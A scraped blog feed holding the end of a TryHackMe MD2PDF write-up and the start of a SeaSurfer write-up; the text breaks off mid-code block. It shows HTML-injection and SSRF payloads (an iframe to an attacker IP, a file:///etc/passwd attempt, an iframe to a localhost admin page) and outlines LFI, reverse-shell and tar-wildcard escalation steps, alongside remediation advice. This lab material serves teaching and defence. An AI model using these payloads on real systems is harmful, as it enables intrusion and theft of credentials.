&lt;p&gt;&lt;strong&gt;Results:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;td&gt;HTTP - MD2PDF web app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5000&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;td&gt;HTTP - MD2PDF web app (same application, different port)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both port 80 and port 5000 host the &lt;em&gt;same&lt;/em&gt; MD2PDF instance. This detail turns out to matter later: the app itself refers to port 5000 as its "internal" / localhost-facing port.&lt;/p&gt;

&lt;p&gt;Browsing to the site showed a simple single-page app: a textarea for Markdown input, and a "Convert to PDF" button.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Confirming HTML Injection
&lt;/h2&gt;

&lt;p&gt;The app is advertised as a Markdown converter, but Markdown renderers commonly pass raw HTML through untouched unless explicitly configured not to. To test this, the following was submitted in the textarea instead of plain Markdown:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;b&amp;gt;&lt;/span&gt; test &lt;span class="nt"&gt;&amp;lt;/best&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(note the intentionally mismatched closing tag - this was just to confirm the parser wasn't doing anything unusual with malformed input)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Clicking &lt;strong&gt;Convert to PDF&lt;/strong&gt; produced a PDF where the word "test" appeared in &lt;strong&gt;bold&lt;/strong&gt;. This confirmed that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The input is &lt;strong&gt;not&lt;/strong&gt; sanitized or HTML-escaped before rendering.&lt;/li&gt;
&lt;li&gt;The conversion pipeline interprets raw HTML tags as HTML, not as literal text.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the entry point for the rest of the attack: anything that can be embedded in HTML and processed by a rendering engine can potentially be injected here.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Identifying the Rendering Engine's Capabilities (SSRF Test)
&lt;/h2&gt;

&lt;p&gt;Because this is a Markdown-to-&lt;strong&gt;PDF&lt;/strong&gt; converter, there's almost always a headless browser or HTML-rendering engine working server-side (e.g., a Chromium-based renderer or similar) that loads the HTML and prints it to PDF. These engines can load &lt;strong&gt;external resources&lt;/strong&gt; - including iframes, images, and stylesheets - exactly like a normal browser would. Critically, when it does so, &lt;em&gt;the request comes from the server&lt;/em&gt;, not from the attacker's machine.&lt;/p&gt;

&lt;p&gt;To test this, an iframe pointing to an arbitrary IP was injected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;b&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker-ip"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/b&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Converting this to PDF caused the server to actually attempt an outbound connection to that address - confirming the renderer fetches iframe &lt;code&gt;src&lt;/code&gt; URLs server-side. This is the hallmark of an SSRF: the application will make network requests on the attacker's behalf, to destinations the attacker chooses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A secondary attempt&lt;/strong&gt; was made to read a local file directly via the &lt;code&gt;file://&lt;/code&gt; scheme:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"800px"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"600px"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This did &lt;strong&gt;not&lt;/strong&gt; work - the renderer either blocks the &lt;code&gt;file://&lt;/code&gt; protocol or doesn't support it for iframes. This ruled out direct local file disclosure, but it didn't rule out SSRF against &lt;em&gt;network&lt;/em&gt; services, which is the direction that paid off.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Enumerating the Application for Internal-Only Endpoints
&lt;/h2&gt;

&lt;p&gt;With confirmed HTML injection, the next question was: &lt;em&gt;is there anything on this server worth reaching that we can't reach directly?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A content/directory brute-force was run against the web root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://machine-ip/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notable results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;403   GET   /admin
405   GET   /convert
200   GET   /static/...   (css/js assets)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/admin&lt;/code&gt; path stood out - a &lt;code&gt;403 Forbidden&lt;/code&gt; suggests the route exists but access is being deliberately blocked. Visiting it directly in a browser confirmed this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Forbidden
This page can only be seen internally (localhost:5000)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the key finding: &lt;code&gt;/admin&lt;/code&gt; is gated by an &lt;strong&gt;IP/host-based check&lt;/strong&gt; rather than real authentication. The app only serves that page when the incoming request appears to originate from &lt;code&gt;localhost&lt;/code&gt; on port 5000 - i.e., from the server talking to itself.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Chaining HTML Injection + SSRF to Reach &lt;code&gt;/admin&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Since Step 3 established that the PDF-rendering engine makes its HTTP requests &lt;em&gt;from the server itself&lt;/em&gt;, and Step 4 established that &lt;code&gt;/admin&lt;/code&gt; trusts any request that looks like it came from &lt;code&gt;localhost:5000&lt;/code&gt;, the two issues chain together perfectly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If the &lt;strong&gt;renderer&lt;/strong&gt; (running on the server) requests &lt;code&gt;/admin&lt;/code&gt; on &lt;code&gt;localhost:5000&lt;/code&gt;, the request genuinely &lt;em&gt;does&lt;/em&gt; originate from localhost - the "internal only" check passes, because it isn't actually checking identity, just request origin.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The following payload was submitted to the converter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;b&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://localhost:5000/admin"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/b&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server-side renderer loaded this HTML, resolved the iframe's &lt;code&gt;src&lt;/code&gt;, and - because it was making the request locally - successfully retrieved the normally-forbidden &lt;code&gt;/admin&lt;/code&gt; page. That rendered content was then embedded into the output PDF, which &lt;em&gt;was&lt;/em&gt; downloadable by the attacker.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Result
&lt;/h2&gt;

&lt;p&gt;Opening the generated PDF revealed the contents of the admin page, including the challenge flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;flag{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Root Cause Analysis
&lt;/h2&gt;

&lt;p&gt;Two separate weaknesses combined to produce this vulnerability:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Unsanitized HTML input to a server-side renderer.&lt;/strong&gt;&lt;br&gt;
The application accepts raw HTML (not just Markdown) and passes it directly into a rendering engine capable of making outbound HTTP requests (via &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;, and likely &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;, etc.). No tag/attribute allowlist or sandboxing was applied.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Access control based on request origin instead of authentication.&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;/admin&lt;/code&gt; is protected only by a check of &lt;em&gt;where the request appears to come from&lt;/em&gt; (&lt;code&gt;localhost:5000&lt;/code&gt;). This is not a security boundary when something on that same host (like the PDF renderer) can be convinced to make requests on an attacker's behalf. "Is this localhost?" is not equivalent to "is this an authenticated admin?"&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Together, these allow an unauthenticated external user to indirectly make authenticated-looking requests to internal-only endpoints - a textbook SSRF-to-access-control-bypass chain.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Remediation Recommendations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sanitize HTML input&lt;/strong&gt; before rendering: strip or allowlist tags (removing &lt;code&gt;iframe&lt;/code&gt;, &lt;code&gt;img&lt;/code&gt;, &lt;code&gt;object&lt;/code&gt;, &lt;code&gt;embed&lt;/code&gt;, &lt;code&gt;script&lt;/code&gt;, and similar resource-loading/network-capable elements) if the app is genuinely only meant to accept Markdown.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network-isolate the renderer&lt;/strong&gt;: run the PDF rendering process in a container/namespace with no route to internal services (deny-by-default egress, or an explicit allowlist of nothing).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never trust "localhost" as an authorization mechanism.&lt;/strong&gt; Any service that can be tricked into making a loopback request (renderers, image proxies, webhook handlers, URL preview features, etc.) defeats this check trivially. Protect sensitive endpoints with real authentication (tokens, session checks, mTLS) instead of request-origin checks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Disable dangerous URL schemes&lt;/strong&gt; (&lt;code&gt;file://&lt;/code&gt;, &lt;code&gt;gopher://&lt;/code&gt;, etc.) in the renderer regardless of the above, as defense in depth.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Timeline Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;Outcome&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Port scan (&lt;code&gt;rustscan&lt;/code&gt;, &lt;code&gt;nmap&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Found ports 22, 80, 5000 - both 80/5000 run MD2PDF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Injected &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt; tag into Markdown input&lt;/td&gt;
&lt;td&gt;Confirmed unsanitized HTML injection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Injected &lt;code&gt;&amp;lt;iframe src="http://&amp;lt;external-ip&amp;gt;"&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Confirmed SSRF - server makes outbound requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;feroxbuster&lt;/code&gt; directory scan&lt;/td&gt;
&lt;td&gt;Found &lt;code&gt;/admin&lt;/code&gt; (403, "internal only")&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Injected &lt;code&gt;&amp;lt;iframe src="http://localhost:5000/admin"&amp;gt;&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Renderer fetched &lt;code&gt;/admin&lt;/code&gt; locally, bypassing the restriction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Opened resulting PDF&lt;/td&gt;
&lt;td&gt;Flag disclosed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  9. Attack Chain
&lt;/h2&gt;

&lt;p&gt;A condensed view of how each weakness fed into the next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unsanitized Markdown input
        │
        ▼
Raw HTML is rendered server-side (HTML Injection confirmed)
        │
        ▼
&amp;lt;iframe&amp;gt; causes the renderer to make its OWN outbound request (SSRF confirmed)
        │
        ▼
feroxbuster finds /admin -&amp;gt; blocked unless request looks like it's from localhost:5000
        │
        ▼
Inject &amp;lt;iframe src="http://localhost:5000/admin"&amp;gt;
        │
        ▼
Renderer (running ON the server) requests /admin FROM localhost
        │
        ▼
"Internal only" check passes - request genuinely IS local
        │
        ▼
/admin content is rendered into the output PDF
        │
        ▼
Attacker downloads PDF -&amp;gt; reads restricted admin page -&amp;gt; flag disclosed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In short: &lt;strong&gt;HTML Injection gave control over what the renderer does -&amp;gt; SSRF gave the ability to make the renderer issue requests on the attacker's behalf -&amp;gt; a flawed "localhost-only" access check was satisfied because the request really did come from localhost (just not from a trusted party).&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Key Vulnerabilities and Mitigations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Why It's Exploitable&lt;/th&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;HTML Injection&lt;/strong&gt; - the Markdown input field renders raw HTML unsanitized&lt;/td&gt;
&lt;td&gt;Lets an attacker control exactly what the server-side renderer loads and executes, instead of only safe Markdown-derived output&lt;/td&gt;
&lt;td&gt;Sanitize/strip input before rendering; allowlist safe Markdown-only elements and strip tags like &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;object&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;embed&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; with remote &lt;code&gt;src&lt;/code&gt; if they aren't needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Server-Side Request Forgery (SSRF)&lt;/strong&gt; - the rendering engine fetches remote resources (e.g., iframe &lt;code&gt;src&lt;/code&gt;) on the server's behalf&lt;/td&gt;
&lt;td&gt;Allows an external attacker to make the server issue network requests to arbitrary destinations, including internal-only services&lt;/td&gt;
&lt;td&gt;Run the renderer in a network-isolated sandbox/container with no route to internal services; enforce a strict egress allowlist (ideally none); disable dangerous schemes like &lt;code&gt;file://&lt;/code&gt; and &lt;code&gt;gopher://&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Broken access control on &lt;code&gt;/admin&lt;/code&gt;&lt;/strong&gt; - protected only by checking if the request appears to come from &lt;code&gt;localhost:5000&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Request-origin checks don't verify &lt;em&gt;who&lt;/em&gt; is asking, only &lt;em&gt;where&lt;/em&gt; the request appears to originate from - trivially spoofable by anything else running on the same host (like the renderer)&lt;/td&gt;
&lt;td&gt;Require real authentication (session tokens, credentials, mTLS) for sensitive endpoints instead of relying on source-IP/hostname checks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Lack of defense in depth&lt;/strong&gt; - a single injection point led directly to full internal endpoint disclosure&lt;/td&gt;
&lt;td&gt;No compensating controls existed between "attacker can inject HTML" and "attacker can read restricted admin data"&lt;/td&gt;
&lt;td&gt;Layer controls: input sanitization AND network isolation AND proper authentication, so that no single flaw results in full compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

</description>
      <category>cybersecyurity</category>
      <category>ctf</category>
      <category>ryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe - SeaSurfer writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 07 Oct 2026 10:35:41 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-seasurfer-writeup-302k</link>
      <guid>https://dev.to/exploitnotes/tryhackme-seasurfer-writeup-302k</guid>
      <description>&lt;h2&gt;
  
  
  Executive Summary
&lt;/h2&gt;

&lt;p&gt;The engagement began with a single disclosed virtual host name leaking out of an HTTP response header on the target web server. That one leak unraveled the entire box: it led to a WordPress site, an internal-only receipt-generation application, and an exposed database admin panel. The receipt app turned out to echo every form field straight into HTML that was then rendered server-side into a PDF, with no output encoding at all. That reflected injection was first used to confirm a Server-Side Request Forgery (SSRF - outbound HTTP to attacker infrastructure), and then upgraded to a Local File Inclusion (LFI) that read &lt;code&gt;/etc/passwd&lt;/code&gt; and, critically, WordPress's &lt;code&gt;wp-config.php&lt;/code&gt;. The leaked database credentials unlocked the previously-found Adminer panel, which exposed the WordPress users table, including a crackable password hash. The cracked password was valid for the WordPress admin panel, where the built-in Theme File Editor was used to drop a PHP payload and obtain a reverse shell as &lt;code&gt;www-data&lt;/code&gt;. From there, a poorly-written backup cron job running &lt;code&gt;tar&lt;/code&gt; with a wildcard in a web-writable directory was abused for classic tar wildcard code execution, escalating to the &lt;code&gt;kyle&lt;/code&gt; user. Finally, a stray SSH agent socket left behind by another session, combined with a &lt;code&gt;pam_ssh_agent_auth&lt;/code&gt; sudo configuration, allowed &lt;code&gt;kyle&lt;/code&gt; to authenticate &lt;code&gt;sudo&lt;/code&gt; using an agent-held key that was never supposed to be reachable, yielding a full &lt;code&gt;root&lt;/code&gt; shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 Port Scan
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; machine-ip &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80 &lt;span class="nt"&gt;-oN&lt;/span&gt; sea-surfer-nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;ssh&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 Ubuntu 4ubuntu0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;http&lt;/td&gt;
&lt;td&gt;Apache httpd 2.4.41 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  1.2 VHost Disclosure via Response Header
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;curl&lt;/code&gt; to the bare IP returned the stock Apache default page, but a verbose request leaked the real backend vhost name in a custom header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-iv&lt;/span&gt; http://machine-ip/
...
&amp;lt; X-Backend-Server: seasurfer.thm
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Added to &lt;code&gt;/etc/hosts&lt;/code&gt;: &lt;code&gt;machine-ip seasurfer.thm&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Main Site Enumeration - seasurfer.thm
&lt;/h2&gt;

&lt;p&gt;Browsing the vhost revealed a &lt;strong&gt;WordPress 5.9.3&lt;/strong&gt; site ("Sea Surfer - Ride the Wave!") using the &lt;strong&gt;twentyseventeen&lt;/strong&gt; theme and the &lt;strong&gt;team-members&lt;/strong&gt; plugin. The "About" page's staff directory (Maya Martins - Owner, Brandon Baker - Salesman, &lt;strong&gt;Kyle King - Sysadmin&lt;/strong&gt;, described as &lt;em&gt;"a very proficient PHP coder"&lt;/em&gt;) provided candidate usernames later confirmed to matter - &lt;code&gt;kyle&lt;/code&gt; turned out to be the actual low-privilege system/WordPress account.&lt;/p&gt;

&lt;p&gt;An &lt;code&gt;ffuf&lt;/code&gt; directory/vhost sweep against &lt;code&gt;seasurfer.thm&lt;/code&gt; turned up an exposed &lt;strong&gt;Adminer 4.8.1&lt;/strong&gt; database-management panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://seasurfer.thm/adminer/?username=&amp;amp;db=wp-users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point it couldn't be used - no valid credentials were known yet, and blank credentials returned &lt;code&gt;Access denied for user '@localhost' (using password: NO)&lt;/code&gt;. This panel was bookmarked for later.&lt;/p&gt;

&lt;p&gt;A separate &lt;code&gt;ffuf&lt;/code&gt; VHost-header fuzz identified a second virtual host not linked anywhere on the public site:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ffuf &lt;span class="nt"&gt;-u&lt;/span&gt; http://seasurfer.thm/ &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"HOST: FUZZ.seasurfer.thm"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
     &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt &lt;span class="nt"&gt;-ac&lt;/span&gt;
...
internal   &lt;span class="o"&gt;[&lt;/span&gt;Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 212ms]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Added to &lt;code&gt;/etc/hosts&lt;/code&gt;: &lt;code&gt;machine-ip internal.seasurfer.thm&lt;/code&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. internal.seasurfer.thm - Receipt Generator
&lt;/h2&gt;

&lt;p&gt;The internal-only app is a simple "create a receipt" form (&lt;code&gt;index.php&lt;/code&gt;) that posts to &lt;code&gt;output.php&lt;/code&gt;, which renders &lt;code&gt;invoice.php&lt;/code&gt; into a PDF saved under &lt;code&gt;/invoices/&amp;lt;id&amp;gt;.pdf&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.1 Root Cause - No Output Encoding
&lt;/h3&gt;

&lt;p&gt;A shell obtained later in the engagement confirmed the source directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// invoice.php (excerpt)
Receipt ID: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
Customer name: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
Additional information: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'comment'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
Payment: &lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'payment'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
foreach ($_GET as $key =&amp;gt; $value) {
    if (strpos($key, 'item') === 0)  echo "&lt;span class="nt"&gt;&amp;lt;tr&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;'item'&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;td&amp;gt;&lt;/span&gt;$value&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&lt;/span&gt;";
    if (strpos($key, 'price') === 0) echo "&lt;span class="nt"&gt;&amp;lt;td&amp;gt;&lt;/span&gt;\$$value&lt;span class="nt"&gt;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;/span&gt;";
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Every single query parameter is echoed directly into the HTML with zero sanitization or escaping&lt;/strong&gt;, and that HTML is then rendered server-side into a PDF. This is the single root cause behind the injection, SSRF, and LFI findings below.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Confirming HTML Injection
&lt;/h3&gt;

&lt;p&gt;Submitting &lt;code&gt;&amp;lt;b&amp;gt;test&amp;lt;b/test&amp;gt;&lt;/code&gt; as the comment rendered as bold text in the generated PDF - confirming the field is interpreted as raw HTML by the PDF rendering engine, not displayed as plain text.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 SSRF - Outbound Callback
&lt;/h3&gt;

&lt;p&gt;HTML-to-PDF converters (wkhtmltopdf and similar) fetch any external resource referenced in rendered HTML - from the &lt;strong&gt;server&lt;/strong&gt;, not the client.&lt;/p&gt;

&lt;p&gt;Payload (submitted as the comment):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
